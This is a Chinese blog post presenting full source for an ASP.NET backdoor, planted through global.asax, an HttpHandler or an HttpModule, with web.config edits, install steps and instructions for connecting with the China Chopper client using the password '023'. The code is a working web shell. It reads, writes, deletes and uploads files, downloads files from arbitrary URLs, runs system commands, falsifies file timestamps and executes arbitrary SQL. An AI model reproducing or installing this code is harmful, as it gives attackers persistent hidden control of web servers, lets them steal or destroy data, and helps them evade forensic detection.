2015-06-15 12:33:38

ASP.NET global.asax、httpHandlers、httpModules 后门

特别注意:需要特别小心配置任何一个误操作都可能导致网站彻底崩溃,对于新手操作危险系数很高。这里只是技术分享,请最好先在本地测试。如有发现BUG与我联系 :)

一:global.asax

<%@ Application Language="C#" %>
<script RunAt='server'>
    void Application_Start(object sender, EventArgs e)
    {
        //在应用程序启动时运行的代码
    }
    void Application_End(object sender, EventArgs e)
    {
        //在应用程序关闭时运行的代码
    }
    void Application_Error(object sender, EventArgs e)
    {
    }
    void Session_Start(object sender, EventArgs e)
    {
        //在新会话启动时运行的代码
    }
    void Session_End(object sender, EventArgs e)
    {
        //在会话结束时运行的代码。 
        // 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为
        // InProc 时,才会引发 Session_End 事件。如果会话模式 
        //设置为 StateServer 或 SQLServer,则不会引发该事件。
    }
    void CP(string S, string D)
    {
        if (System.IO.Directory.Exists(S))
        {
            System.IO.DirectoryInfo m = new System.IO.DirectoryInfo(S);
            System.IO.Directory.CreateDirectory(D);
            foreach (System.IO.FileInfo F in m.GetFiles())
            {
                System.IO.File.Copy(S + "\\" + F.Name, D + "\\" + F.Name);
            }
            foreach (System.IO.DirectoryInfo F in m.GetDirectories())
            {
                CP(S + "\\" + F.Name, D + "\\" + F.Name);
            }
        }
        else
        {
            System.IO.File.Copy(S, D);
        }
    }
    void EvalRequest(string action)
    {
        HttpContext context = HttpContext.Current;
        HttpRequest request = context.Request;
        HttpResponse response = context.Response;
        string Z = action;
        if (Z != "")
        {
            string Z1 = request.Form["Z1"];
            string Z2 = request.Form["Z2"];
            string R = "";
            try
            {
                switch (Z)
                {
                    case "A":
                        {
                            string[] c = System.IO.Directory.GetLogicalDrives();
                            R = string.Format("{0}\t", context.Server.MapPath("~"));
                            for (int i = 0; i < c.Length; i++)
                                R += c[i][0] + ":";
                            break;
                        }
                    case "B":
                        {
                            System.IO.DirectoryInfo m = new System.IO.DirectoryInfo(Z1);
                            foreach (System.IO.DirectoryInfo D in m.GetDirectories())
                            {
                                R += string.Format("{0}/\t{1}\t0\t-\n", D.Name, System.IO.File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
                            }
                            foreach (System.IO.FileInfo D in m.GetFiles())
                            {
                                R += string.Format("{0}\t{1}\t{2}\t-\n", D.Name, System.IO.File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
                            }
                            break;
                        }
                    case "C":
                        {
                            System.IO.StreamReader m = new System.IO.StreamReader(Z1, Encoding.Default);
                            R = m.ReadToEnd();
                            m.Close();
                            break;
                        }
                    case "D":
                        {
                            System.IO.StreamWriter m = new System.IO.StreamWriter(Z1, false, Encoding.Default);
                            m.Write(Z2);
                            R = "1";
                            m.Close();
                            break;
                        }
                    case "E":
                        {
                            if (System.IO.Directory.Exists(Z1))
                                System.IO.Directory.Delete(Z1, true);
                            else
                                System.IO.File.Delete(Z1);
                            R = "1";
                            break;
                        }
                    case "F":
                        {
                            response.Clear();
                            response.Write("\x2D\x3E\x7C");
                            response.WriteFile(Z1);
                            response.Write("\x7C\x3C\x2D");
                            goto End;
                        }
                    case "G":
                        {
                            byte[] B = new byte[Z2.Length / 2];
                            for (int i = 0; i < Z2.Length; i += 2)
                            {
                                B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);
                            }
                            System.IO.FileStream fs = new System.IO.FileStream(Z1, System.IO.FileMode.Create);
                            fs.Write(B, 0, B.Length);
                            fs.Close();
                            R = "1";
                            break;
                        }
                    case "H":
                        {
                            CP(Z1, Z2);
                            R = "1";
                            break;
                        }
                    case "I":
                        {
                            if (System.IO.Directory.Exists(Z1))
                            {
                                System.IO.Directory.Move(Z1, Z2);
                            }
                            else
                            {
                                System.IO.File.Move(Z1, Z2);
                            }
                            break;
                        }
                    case "J":
                        {
                            System.IO.Directory.CreateDirectory(Z1);
                            R = "1";
                            break;
                        }
                    case "K":
                        {
                            DateTime TM = Convert.ToDateTime(Z2);
                            if (System.IO.Directory.Exists(Z1))
                            {
                                System.IO.Directory.SetCreationTime(Z1, TM);
                                System.IO.Directory.SetLastWriteTime(Z1, TM);
                                System.IO.Directory.SetLastAccessTime(Z1, TM);
                            }
                            else
                            {
                                System.IO.File.SetCreationTime(Z1, TM);
                                System.IO.File.SetLastWriteTime(Z1, TM);
                                System.IO.File.SetLastAccessTime(Z1, TM);
                            }
                            R = "1";
                            break;
                        }
                    case "L":
                        {
                            System.Net.HttpWebRequest RQ = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(new Uri(Z1));
                            RQ.Method = "GET";
                            RQ.ContentType = "application/x-www-form-urlencoded";
                            System.Net.HttpWebResponse WB = (System.Net.HttpWebResponse)RQ.GetResponse();
                            System.IO.Stream WF = WB.GetResponseStream();
                            System.IO.FileStream FS = new System.IO.FileStream(Z2, System.IO.FileMode.Create, System.IO.FileAccess.Write);
                            int i;
                            byte[] buffer = new byte[1024];
                            while (true)
                            {
                                i = WF.Read(buffer, 0, buffer.Length);
                                if (i < 1) break; FS.Write(buffer, 0, i);
                            }
                            WF.Close();
                            WB.Close();
                            FS.Close();
                            R = "1";
                            break;
                        }
                    case "M":
                        {
                            System.Diagnostics.ProcessStartInfo c = new System.Diagnostics.ProcessStartInfo(Z1.Substring(2));
                            System.Diagnostics.Process e = new System.Diagnostics.Process();
                            System.IO.StreamReader OT, ER;
                            c.UseShellExecute = false;
                            c.RedirectStandardOutput = true;
                            c.RedirectStandardError = true;
                            e.StartInfo = c;
                            c.Arguments = string.Format("{0} {1}", Z1.Substring(0, 2), Z2);
                            e.Start(); OT = e.StandardOutput;
                            ER = e.StandardError;
                            e.Close();
                            R = OT.ReadToEnd() + ER.ReadToEnd();
                            break;
                        }
                    case "N":
                        {
                            String strDat = Z1.ToUpper();
                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(Z1);
                            Conn.Open();
                            R = Conn.Database + "\t";
                            Conn.Close(); break;
                        }
                    case "O":
                        {
                            String[] x = Z1.Replace("\r", "").Split('\n');
                            String strConn = x[0], strDb = x[1];
                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
                            Conn.Open();
                            System.Data.DataTable dt = Conn.GetSchema("Columns");
                            Conn.Close();
                            for (int i = 0; i < dt.Rows.Count; i++)
                            {
                                R += String.Format("{0}\t", dt.Rows[i][2].ToString());
                            }
                            break;
                        }
                    case "P":
                        {
                            String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4];
                            String strConn = x[0], strDb = x[1], strTable = x[2]; p[0] = strDb;
                            p[2] = strTable;
                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
                            Conn.Open();
                            System.Data.DataTable dt = Conn.GetSchema("Columns", p);
                            Conn.Close();
                            for (int i = 0; i < dt.Rows.Count; i++)
                            {
                                R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
                            }
                            break;
                        }
                    case "Q":
                        {
                            String[] x = Z1.Replace("\r", "").Split('\n');
                            String strDat, strConn = x[0], strDb = x[1];
                            int i, c;
                            strDat = Z2.ToUpper();
                            System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
                            Conn.Open();
                            if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)
                            {
                                System.Data.SqlClient.SqlDataAdapter OD = new System.Data.SqlClient.SqlDataAdapter(Z2, Conn);
                                System.Data.DataSet ds = new System.Data.DataSet();
                                OD.Fill(ds);
                                if (ds.Tables.Count > 0)
                                {
                                    System.Data.DataRowCollection rows = ds.Tables[0].Rows;
                                    for (c = 0; c < ds.Tables[0].Columns.Count; c++)
                                    {
                                        R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString());
                                    }
                                    R += "\r\n";
                                    for (i = 0; i < rows.Count; i++)
                                    {
                                        for (c = 0; c < ds.Tables[0].Columns.Count; c++)
                                        {
                                            R += String.Format("{0}\t|\t", rows[i][c].ToString());
                                        }
                                        R += "\r\n";
                                    }
                                }
                                ds.Clear();
                                ds.Dispose();
                            }
                            else
                            {
                                System.Data.SqlClient.SqlCommand cm = Conn.CreateCommand();
                                cm.CommandText = Z2;
                                cm.ExecuteNonQuery();
                                R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";
                            }
                            Conn.Close();
                            break;
                        }
                    default:
                        goto End;
                }
            }
            catch (Exception E)
            {
                R = "ERROR:// " + E.Message;
            }
            response.Write("\x2D\x3E\x7C" + R + "\x7C\x3C\x2D");
        End: ;
        }
    }
    //在接收到一个应用程序请求时触发。对于一个请求来说,它是第一个被触发的事件,请求一般是用户输入的一个页面请求(URL)。
    void Application_BeginRequest(object sender, EventArgs evt)
    {
        string action = Request.Form["023"];
        if (action != null)
        {
            EvalRequest(action);
            Response.End();
        }
    }
</script>

二、httpHandlers

修改web.config,添加或者修改httpHandlers:

<httpHandlers>
   <add path="*.api" verb="*" type="WooYun.CustomizeHttpHandler"/>
</httpHandlers>

如果已经存在 httpHandlers 则在标签内添加,如果<system.webServer>也有配置httpHandlers那么就配置在<system.webServer>里,但是有一点需要特别注意:<system.webServer>里面一定要配置runAllManagedModulesForAllRequests为true,否会启动报错。

<system.webServer>
	<modules runAllManagedModulesForAllRequests="true" />
</system.webServer>

三:httpModules

相比修改httpHandlers显然这种办法更加的有效且安全一些。但是一定要把这个httpModule的顺序配置到httpModules的第一个。修改web.config,添加或者修改httpHandlers:

<httpModules>
        <add name="WooYun" type="WooYun.CustomizeHttpModule"/>
</httpModules>

Customize.cs代码:

using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.IO;
using System.Text;
using System.Net;
using System.Diagnostics;
using System.Data.SqlClient;
namespace WooYun
{
    public class Customize
    {
        public static void CP(string S, string D)
        {
            if (Directory.Exists(S))
            {
                DirectoryInfo m = new DirectoryInfo(S);
                Directory.CreateDirectory(D);
                foreach (FileInfo F in m.GetFiles())
                {
                    File.Copy(S + "\\" + F.Name, D + "\\" + F.Name);
                }
                foreach (DirectoryInfo F in m.GetDirectories())
                {
                    CP(S + "\\" + F.Name, D + "\\" + F.Name);
                }
            }
            else
            {
                File.Copy(S, D);
            }
        }
        public static void Request()
        {
            HttpContext context = HttpContext.Current;
            HttpRequest request = context.Request;
            HttpResponse response = context.Response;
            string Z = request.Form["023"];
            if (Z != "")
            {
                string Z1 = request.Form["Z1"];
                string Z2 = request.Form["Z2"];
                string R = "";
                try
                {
                    switch (Z)
                    {
                        case "A":
                            {
                                string[] c = Directory.GetLogicalDrives();
                                R = string.Format("{0}\t", context.Server.MapPath("/"));
                                for (int i = 0; i < c.Length; i++)
                                    R += c[i][0] + ":";
                                break;
                            }
                        case "B":
                            {
                                DirectoryInfo m = new DirectoryInfo(Z1);
                                foreach (DirectoryInfo D in m.GetDirectories())
                                {
                                    R += string.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
                                }
                                foreach (FileInfo D in m.GetFiles())
                                {
                                    R += string.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
                                }
                                break;
                            }
                        case "C":
                            {
                                StreamReader m = new StreamReader(Z1, Encoding.Default);
                                R = m.ReadToEnd();
                                m.Close();
                                break;
                            }
                        case "D":
                            {
                                StreamWriter m = new StreamWriter(Z1, false, Encoding.Default);
                                m.Write(Z2);
                                R = "1";
                                m.Close();
                                break;
                            }
                        case "E":
                            {
                                if (Directory.Exists(Z1))
                                    Directory.Delete(Z1, true);
                                else
                                    File.Delete(Z1);
                                R = "1";
                                break;
                            }
                        case "F":
                            {
                                response.Clear();
                                response.Write("\x2D\x3E\x7C");
                                response.WriteFile(Z1);
                                response.Write("\x7C\x3C\x2D");
                                goto End;
                            }
                        case "G":
                            {
                                byte[] B = new byte[Z2.Length / 2];
                                for (int i = 0; i < Z2.Length; i += 2)
                                {
                                    B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);
                                }
                                FileStream fs = new FileStream(Z1, FileMode.Create);
                                fs.Write(B, 0, B.Length);
                                fs.Close();
                                R = "1";
                                break;
                            }
                        case "H":
                            {
                                CP(Z1, Z2); R = "1";
                                break;
                            }
                        case "I":
                            {
                                if (Directory.Exists(Z1))
                                {
                                    Directory.Move(Z1, Z2);
                                }
                                else
                                {
                                    File.Move(Z1, Z2);
                                }
                                break;
                            }
                        case "J":
                            {
                                Directory.CreateDirectory(Z1);
                                R = "1";
                                break;
                            }
                        case "K":
                            {
                                DateTime TM = Convert.ToDateTime(Z2);
                                if (Directory.Exists(Z1))
                                {
                                    Directory.SetCreationTime(Z1, TM);
                                    Directory.SetLastWriteTime(Z1, TM);
                                    Directory.SetLastAccessTime(Z1, TM);
                                }
                                else
                                {
                                    File.SetCreationTime(Z1, TM);
                                    File.SetLastWriteTime(Z1, TM);
                                    File.SetLastAccessTime(Z1, TM);
                                }
                                R = "1";
                                break;
                            }
                        case "L":
                            {
                                HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1));
                                RQ.Method = "GET";
                                RQ.ContentType = "application/x-www-form-urlencoded";
                                HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse();
                                Stream WF = WB.GetResponseStream();
                                FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write);
                                int i;
                                byte[] buffer = new byte[1024];
                                while (true)
                                {
                                    i = WF.Read(buffer, 0, buffer.Length);
                                    if (i < 1) break; FS.Write(buffer, 0, i);
                                }
                                WF.Close();
                                WB.Close();
                                FS.Close();
                                R = "1";
                                break;
                            }
                        case "M":
                            {
                                System.Diagnostics.ProcessStartInfo c = new System.Diagnostics.ProcessStartInfo(Z1.Substring(2));
                                System.Diagnostics.Process e = new System.Diagnostics.Process();
                                System.IO.StreamReader OT, ER;
                                c.UseShellExecute = false;
                                c.RedirectStandardOutput = true;
                                c.RedirectStandardError = true;
                                e.StartInfo = c;
                                c.Arguments = string.Format("{0} {1}", Z1.Substring(0, 2), Z2);
                                e.Start();
                                OT = e.StandardOutput;
                                ER = e.StandardError;
                                e.Close();
                                R = OT.ReadToEnd() + ER.ReadToEnd();
                                break;
                            }
                        case "N":
                            {
                                String strDat = Z1.ToUpper();
                                SqlConnection Conn = new SqlConnection(Z1);
                                Conn.Open();
                                R = Conn.Database + "\t";
                                Conn.Close();
                                break;
                            }
                        case "O":
                            {
                                String[] x = Z1.Replace("\r", "").Split('\n');
                                String strConn = x[0], strDb = x[1];
                                SqlConnection Conn = new SqlConnection(strConn);
                                Conn.Open();
                                DataTable dt = Conn.GetSchema("Columns");
                                Conn.Close();
                                for (int i = 0; i < dt.Rows.Count; i++)
                                {
                                    R += String.Format("{0}\t", dt.Rows[i][2].ToString());
                                }
                                break;
                            }
                        case "P":
                            {
                                String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4];
                                String strConn = x[0], strDb = x[1], strTable = x[2];
                                p[0] = strDb;
                                p[2] = strTable;
                                SqlConnection Conn = new SqlConnection(strConn);
                                Conn.Open();
                                DataTable dt = Conn.GetSchema("Columns", p);
                                Conn.Close();
                                for (int i = 0; i < dt.Rows.Count; i++)
                                {
                                    R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
                                }
                                break;
                            }
                        case "Q":
                            {
                                String[] x = Z1.Replace("\r", "").Split('\n');
                                String strDat, strConn = x[0], strDb = x[1];
                                int i, c;
                                strDat = Z2.ToUpper();
                                SqlConnection Conn = new SqlConnection(strConn);
                                Conn.Open();
                                if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)
                                {
                                    SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn);
                                    DataSet ds = new DataSet(); OD.Fill(ds);
                                    if (ds.Tables.Count > 0)
                                    {
                                        DataRowCollection rows = ds.Tables[0].Rows;
                                        for (c = 0; c < ds.Tables[0].Columns.Count; c++)
                                        {
                                            R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString());
                                        }
                                        R += "\r\n"; for (i = 0; i < rows.Count; i++)
                                        {
                                            for (c = 0; c < ds.Tables[0].Columns.Count; c++)
                                            {
                                                R += String.Format("{0}\t|\t", rows[i][c].ToString());
                                            }
                                            R += "\r\n";
                                        }
                                    }
                                    ds.Clear();
                                    ds.Dispose();
                                }
                                else
                                {
                                    SqlCommand cm = Conn.CreateCommand();
                                    cm.CommandText = Z2;
                                    cm.ExecuteNonQuery();
                                    R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";
                                }
                                Conn.Close();
                                break;
                            }
                        default:
                            goto End;
                    }
                }
                catch (Exception E)
                {
                    R = "ERROR:// " + E.Message;
                }
                response.Write("\x2D\x3E\x7C" + R + "\x7C\x3C\x2D");
            End: ;
            }
            response.End();
        }
    }
    public class CustomizeHttpHandler : IHttpHandler
    {
        public bool IsReusable
        {
            get
            {
                return true;
            }
        }
        public void ProcessRequest(HttpContext context)
        {
            Customize.Request();
        }
    }
    public class CustomizeHttpModule : IHttpModule
    {
        #region IHttpModule 成员
        public void Dispose()
        {
        }
        public void Init(HttpApplication context)
        {
            context.BeginRequest += new EventHandler(context_BeginRequest);
        }
        void context_BeginRequest(object sender, EventArgs e)
        {
            Customize.Request();
        }
        #endregion
    }
}

四:安装方法

global.asax是不需要编译的,所以直接忽略。

httpHandlers和httpModules配置方式:

1、自行编译上面的cs文件dll

2、复制dll到bin目录

3、修改上述配置,并仔细检查

或:

1、直接新建个Customize.cs文件

2、复制Customize.cs文件到App_Code目录

3、修改上述配置,并仔细检查

连接:

1、菜刀连接的时候必须选Customize:

2、httpHandlers 可以自己指定后缀,比如你配置了.api请求那么可以http://xx.com/123456.api做为shell地址,可能会有不能拦截除aspx的情况

3、httpModules可以随便访问一个只要不是静态文件的链接(比如jpg文件不允许被POST) 可以访问:http://xx.com/123456.xxx

4、连接密码:023

发表回复